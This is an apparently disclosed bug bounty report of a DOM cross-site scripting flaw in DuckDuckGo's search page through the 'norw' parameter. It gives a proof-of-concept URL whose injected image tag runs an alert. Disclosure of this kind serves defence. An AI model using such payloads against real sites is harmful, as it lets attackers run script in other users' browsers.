DuckDuckGo · Report #868934
DOM XSS on duckduckgo.com search
Validstatus
highseverity
326upvotes
14 Jun 2020disclosed
How it was found
Hello,
The is a DOM XSS vulnerability on https://duckduckgo.com search through the norw parameter.
PoC URL: https://duckduckgo.com/?q=a&norw="><img src=/ onerror=alert(document.domain)>
Screenshot: {F820482}
Impact
The attacker can execute JS code.